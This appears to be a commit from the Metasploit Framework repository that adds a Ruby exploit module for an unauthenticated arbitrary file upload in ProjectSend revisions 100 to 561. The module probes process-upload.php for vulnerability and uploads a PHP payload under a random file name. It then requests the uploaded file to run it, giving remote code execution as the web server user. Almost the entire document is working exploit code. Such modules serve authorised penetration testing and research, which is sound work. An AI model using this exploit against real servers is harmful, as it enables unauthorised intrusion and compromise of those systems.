Land #4459, @bcoles's ProjectSend Arbitrary File Upload module
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => 'ProjectSend Arbitrary File Upload',
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'Description' => %q{
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This module exploits a file upload vulnerability in ProjectSend
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revisions 100 to 561. The 'process-upload.php' file allows
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unauthenticated users to upload PHP files resulting in remote
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code execution as the web server user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Fady Mohammed Osman', # Discovery and Exploit
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'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
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],
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'References' =>
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[
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['EDB', '35424']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'Arch' => ARCH_PHP,
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'Platform' => 'php',
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'Targets' =>
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[
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# Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)
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['ProjectSend (PHP Payload)', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Dec 02 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/'])
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], self.class)
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end
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#
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# Checks if target upload functionality is working
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#
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def check
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'process-upload.php')
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)
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if !res
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vprint_error("#{peer} - Connection timed out")
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return Exploit::CheckCode::Unknown
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elsif res.code.to_i == 404
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vprint_error("#{peer} - No process-upload.php found")
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return Exploit::CheckCode::Safe
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elsif res.code.to_i == 500
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vprint_error("#{peer} - Unable to write file")
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return Exploit::CheckCode::Safe
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elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
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vprint_error("#{peer} - File process-upload.php is not executable")
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return Exploit::CheckCode::Safe
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elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
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vprint_error("#{peer} - Software is misconfigured")
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return Exploit::CheckCode::Safe
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elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
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# response on revision 118 onwards includes the file name
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if res.body && res.body =~ /NewFileName/
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return Exploit::CheckCode::Vulnerable
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# response on revisions 100 to 117 does not include the file name
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elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
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return Exploit::CheckCode::Appears
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elsif res.body && res.body =~ /Failed to open output stream/
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vprint_error("#{peer} - Upload folder is not writable")
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return Exploit::CheckCode::Safe
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else
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return Exploit::CheckCode::Detected
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end
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else
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return Exploit::CheckCode::Safe
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end
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end
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#
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# Upload PHP payload
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#
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def upload
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fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
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php = "<?php #{payload.encoded} ?>"
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data = Rex::MIME::Message.new
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data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}"))
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post_data = data.to_s
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print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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)
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if !res
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fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
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elsif res.code.to_i == 404
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fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")
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elsif res.code.to_i == 500
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fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
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elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/
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fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")
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elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
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fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")
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elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/
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fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")
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# response on revision 118 onwards includes the file name
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elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/
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print_good("#{peer} - Payload uploaded successfully (#{fname})")
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return fname
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# response on revisions 100 to 117 does not include the file name
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elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
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print_warning("#{peer} - File upload may have failed")
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return fname
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else
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vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
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fail_with(Failure::Unknown, "#{peer} - Something went wrong")
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end
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end
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#
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# Execute uploaded file
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#
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def exec(upload_path)
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print_status("#{peer} - Executing #{upload_path}...")
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res = send_request_raw(
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{ 'uri' => normalize_uri(target_uri.path, upload_path) }, 5
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)
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if !res
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print_status("#{peer} - Request timed out while executing")
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elsif res.code.to_i == 404
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vprint_error("#{peer} - Not found: #{upload_path}")
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elsif res.code.to_i == 200
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vprint_good("#{peer} - Executed #{upload_path}")
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else
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print_error("#{peer} - Unexpected reply")
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end
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end
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#
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# upload && execute
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#
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def exploit
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fname = upload
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register_files_for_cleanup(fname)
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exec("upload/files/#{fname}") # default for r-221 onwards
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unless session_created?
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exec("upload/temp/#{fname}") # default for r-100 to r-219
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end
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end
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end
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